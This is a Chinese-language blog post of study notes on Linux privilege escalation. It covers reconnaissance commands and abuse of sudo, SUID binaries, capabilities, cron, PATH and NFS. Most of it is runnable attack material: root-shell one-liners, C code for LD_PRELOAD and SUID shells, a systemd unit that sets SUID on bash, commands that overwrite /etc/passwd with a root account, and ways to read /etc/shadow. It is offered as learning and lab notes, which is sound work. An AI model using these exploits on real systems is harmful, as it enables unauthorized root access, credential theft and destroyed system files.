Linux Privilege Escalation
机器信息收集
拿到一个立足点可以执行简单命令后,对机器的一些信息收集
hostname:主机名
在某些情况下,它可以提供有关目标系统在企业网络中的角色的信息(例如用于生产 SQL 服务器的 SQL-PROD-01)
uname -a:
linux内核版本等信息,对提权有用
提供有关内核版本的信息以及其他数据,例如是否安装了编译器(例如 GCC)
/etc/issue、/etc/*release
一些系统信息
lsb_release –a
当前系统发行版的具体版本号等信息
-r:内核版本
ps aux
查看进程
a-所有用户
u-启动进程的用户
x-显示未连接到终端的进程
env
查看环境变量
sudo -l
列出您的用户可以使用 运行的所有命令
ls -la
id
提供用户权限级别和组成员身份的总体概述
uid=0,是root权限
/etc/passwd、shadow
用户的一些shell路径、版本以及密码的hash值
history
命令历史
ip a/ifconfig
查看网卡、ip等信息
ip route
查看网络路由
netstat
-a:显示所有监听端口和已建立的连接
-au/-at:显示udp或tcp协议相关的
-l:列出监听端口
-s:按照协议列出网络使用统计信息
-tp:列出服务器名和pid信息
netstat
您可能在博客文章、文章和课程中最常看到的用法可以 细分netstat -ano
如下:
-a
:显示所有socket-n
: 不解析名称-o
:显示定时器
find查找攻击向量
简单示例:
find . -name flag1.txt
:在当前目录下找到名为“flag1.txt”的文件find /home -name flag1.txt
:在/home目录下找到文件名“flag1.txt”find / -type d -name config
:找到“/”下名为config的目录find / -type f -perm 0777
:查找具有777权限的文件(所有用户可读、可写、可执行的文件)find / -perm a=x
: 查找可执行文件find /home -user frank
:查找“/home”下用户“frank”的所有文件find / -mtime 10
:查找最近10天内修改过的文件find / -atime 10
:查找最近 10 天内访问过的文件find / -cmin -60
:查找最近一小时(60 分钟)内更改的文件find / -amin -60
:查找最近一小时(60分钟)内的文件访问情况find / -size 50M
:查找50MB大小的文件(+、-表示size大于或小于)
查找可执行文件:
find / -writable -type d 2>/dev/null
:查找全局可写文件夹find / -perm -222 -type d 2>/dev/null
:查找全局可写文件夹find / -perm -o w -type d 2>/dev/null
:查找全局可写文件夹
查找开发工具和支持的语言:
find / -name perl*
find / -name python*
find / -name gcc*
提权
内核漏洞提权
要谨慎使用,因为如果用错了系统可能会崩溃
给目标机器上传利用脚本方法:
SimpleHTTPServer--一个python模块
只需要切换到脚本目录。然后python -m SimpleHTTPServer
(python3之后该模块叫做http.server)
就可以用目标机下载该目录文件(wget下载)
实际渗透中利用内核漏洞提权一定要了解其原理,避免不可控的事情发生
一个网站:https://gtfobins.github.io/
下面的各种类型的提权里面都有介绍
sudo提权
sudo+命令,则可以 以root运行命令,有时某些用户有一些命令是可以用sudo运行的
sudo -l查看当前用户与root相关的命令
可以看到这里的ALL和NOPASSWD,表示任何用户可以无密码用sudo执行对于命令
https://gtfobins.github.io/是一个有价值的资源,它提供了有关如何使用您可能拥有 sudo 权限的任何程序的信息。
由于有sudo权限,那么执行/bin/bash产生的shell就是root权限
find
sudo find . -exec /bin/sh \; -quit
less
sudo less filepath
:!/bin/bash
python
sudo python -c 'import pty;pty.spawn("/bin/bash")'
LD_PRELOAD
这是一个环境变量,用于指定预加载的共享库
sudo -l结果回显:有env_keep=LD_PRELOAD
需要 /etc/sudoers文件增加内容:
Defaults env_keep+="LD_PRELOAD"
zabbix ALL=(root) NOPASSWD:/usr/bin/ls(非必须)
sudo vim /etc/sudoers
提权利用:
写个c文件,内容:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void main() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
生成共享对象文件:gcc -fPIC -shared -o shell.so shell.c -nostartfiles
gcc:GCC编译器的命令。
-fPIC:这个选项告诉编译器生成位置无关代码(Position Independent Code,PIC),用于构建共享库。位置无关代码是一种可在内存中加载和执行的代码,它不依赖于特定的内存位置。
-shared:这个选项告诉编译器生成一个共享库,而不是可执行文件。
-o shell.so:这个选项指定输出文件的名称为shell.so。
shell.c:这是要编译的源文件的名称,即shell.c。这个文件包含了共享库的源代码。
-nostartfiles:这个选项告诉链接器不使用标准启动文件(如crt0.o),因为共享库并不需要执行入口点等启动代码。
执行:sudo LD_PRELOAD=shell.so路径 ls
上述命令在预加载共享对象时执行c文件中写的代码,因为编译是其被编译为位置无关代码,可在内存中执行,从而提权成功
nmap
如果nmap有sudo权限,有s权限,版本够老(2.02-5.21)
sudo nmap --interactive 进入交互模式
!bash进行提权
老版本nmap可行
nmap以root运行
cat os.execute("/bin/sh") > nse_root.nse
#nse是nmap的插件扩展名
nmap --script=/home/jens/nse_root.nse
创建一个1.nse,内容:os.execute("/bin/sh")
sudo nmap --script=1.nse路径
suid(以下例子前提是都有suid权限)
suid是一种权限标记,运行有该标志的文件时会以文件所有者的权限运行,而不是当前用户
找有suid权限的命令:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find
某文件具有suid
find 具有suid权限的filename -exec whoami ;
find具有suid
find 一个存在的文件 -exec whoami ;
dash
dash -p
less/more
less和more都差不多
发现less或者more有suid权限,而他们又属于用户root
less /etc/passwd
!/bin/sh
nano
nano进入交互界面
找执行命令的操作
如:
ctrl+R
ctrl+X
whoami
可以看到回显:root
vim/vi
vim
:!/bin/sh
vim -c ':!/bin/sh'
cp/mv
cp/mv覆盖源来的passwd文件
当cp或者mv有suid权限,则运行该命令是以root权限
我们可以在一个当前用户可写的文件夹执行如下命令
openssl passwd -1 -salt sudo password#生成密码
echo 'qs:$1$sudo$RQRCrzxXZ56RbukF2cDqj.:0:0::/root/:/bin/sh' >> passwd#写入到一个passwd文件
cp passwd /etc
su qs
输入密码成功切换qs账户,这里qs就是root
值得注意的是,该命令会把目标目录的同名文件passwd给覆盖掉
实验和实际过程都应该谨慎使用
事实上这样的方法非常危险,会把系统环境直接整没了
bash
bash -p
awk
awk 'BEGIN {system("/bin/bash")}'
base64读取任意文件
LFILE=file_to_read#要读取的文件
./base64 "$LFILE" | base64 --decode
systemctl
TF=$(mktemp).service #执行mktemp命令,创建临时文件
#把systemd服务配置信息给到$TF临时文件
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod+s /bin/bash" #这是执行的命令,给/bin/bash suid权限
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF #把$TF文件连接到systemd服务目录
/bin/systemctl enable --now $TF #立即执行创建的临时服务
/bin/bash -p #特权模式运行bash,由于刚才给了bash suid权限 ,故这里可拥有/bin/bash所有者(root)权限
capabilities提权
下面的提权演示都默认有cap_setuid的能力
思路其实就是找cap_setuid能力,然后利用脚本、命令执行setuid为0(root)
当然gpt知道capabilitie的值有很多,感觉可以利用的还有:
CAP_CHOWN
:更改文件拥有者。CAP_DAC_OVERRIDE
:忽略文件权限限制。CAP_DAC_READ_SEARCH
:读取并搜索任意文件。CAP_FOWNER
:忽略文件所有者限制。CAP_FSETID
:即使普通用户也可以更改文件的 SETUID 和 SETGID 位。
capabilities是一种控制权限的安全机制,它可以更精细的分配权限,确保权限最小原则。如果capabilities权限的配置不当会导致提权。
比如某用户需要一定特权去执行某一二进制操作,而给它root权限的话,那就会给他除其需要的操作以外的其他特权,这样不安全,为确保只给到他需要的权限,可以用capabilities机制。
查找所有文件capabilitie:getcap -r / 2>/dev/null
找capabilitie是cap_setuid的进行提权
查找某一文件capabilitie:getcap 路径
删除文件capabilitie:setcap -r 路径
给某文件设置capabilitie:sudo setcap 能力值 filepath
vim
./vim -c ':py3 import os;os.setuid(0);os.execl("/bin/sh","sh","-c","reset;exec sh")'
./vim:执行vim
-c:进入vim执行命令
:py3指vim执行python代码前缀
os.exec调用/bin/sh,参数sh、-c、reset、exec shell
reset重置终端显示
exec sh 将当前进程替换为一个新的shell进程
上述命令将开启一个root用户的shell
gdb
getcap `which gdb`
有cap_setuid则可利用
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
php
php -r "posix_setuid(0); system('/bin/sh');"
python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
rvim
rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
tar
该方法利用的是cap_dac_read_search能力绕过文件的读权限检查以及目录的读/执行权限的检查,利用此特性我们可以读取系统中的敏感信息。
tar cvf shadow.tar /etc/shadow //绕过权限检查即可成功创建压缩文件
tar -xvf shadow.tar //解压缩
cd etc //进入解压缩的目录
chmod +r shadow //赋予读权限
cat shadow | grep root //查看shadow文件的内容
openssl
openssl的能力为空
//使用openssl生成证书
cd /tmp
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
//启动web服务器,监听1337端口
cd /
openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 1337 -HTTP
//访问本机的web服务,读取/etc/shadow文件
curl -k "https://127.0.0.1:1337/etc/shadow"
定时任务提权(cron)
linux有一个目录(/etc/crontab)里面有一些定期执行的脚本
只需要找到相应linu版本的这一目录,向其中写入定时脚本或者在定时脚本中添加提权代码,则可以成功提权
值得注意的时这除了可以用于提权似乎还可以用来执行一些其他命令
一些系统管理员要定期执行某操作,于是他们写了脚本做定期任务
之后不再需要时,他们删除了脚本却删除定时任务
path提权
看了一些文章感觉大概原理就是cd到一个可写目录
如cd tmp,创建一个可执行文件内容为/bin/bash如:
echo "/bin/bash" > pa
cp /bin/bash ./pa
ln -s /bin/bash ./pa
上述三种都可以用来创建一个这样的pa文件
给pa满权限:chmod 777 pa
把/tmp加到PATH环境变量:export PATH=/tmp:$PATH
然后还需要一个二进制文件,这里用c语言做演示进行编译(因为我感觉理论上其他语言编译后也可以达到同样的效果)
shell.c:
内容:
#include<unistd.h>
void main(){
setuid(0);
setgid(0);
system("pa");
}
然后我们编译并执行上述的文件
gcc shell.c -o shell
./shell
注意这里的shell需要有suid权限
他会setuid和gid为0、执行pa命令,则系统会在PATH搜索,结果发现就是执行/bin/bash
上述提权条件:
其实这也是实验环境,真正情况条件很苛刻,因为真实环境自己创建的shell必定不是root用户,要成功提权,shell是需要属于root用户,并且具有suid权限,然后能够直接或间接执行/bin/bash,并且这个shell所在的目录要么在path中,要么可以导入path,才可以提权),其实感觉上这就是suid提权
nfs提权
nfs是用于文件共享的
/etc/exports文件是其配置文件
当
配置为no_root_squash,则访问时是root权限
当配置为root_squash,则访问时分配一个nfsnobody用户
showmount -e 10.0.2.12:显示该NFS服务器的共享列表
我们需要下载nfs客户端:
sudo apt install nfs-common
apt-get install cifs-utils
攻击机创建目录:mkdir /tmp/test
将共享目录挂载到本地刚创建的目录:
mount -o rw 10.0.2.12:/tmp /tmp/test
在/tmp/test建一个c文件:shell.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() { setuid(0); system("/bin/bash"); return 0; }
编译、赋值suid权限:
gcc shell.c -o shell -w
chmod u+s shell
在服务器执行
cd /tmp
./shell
标签:bin,shell,提权,linux,权限,root,find From: https://www.cnblogs.com/q1stop/p/17861769.html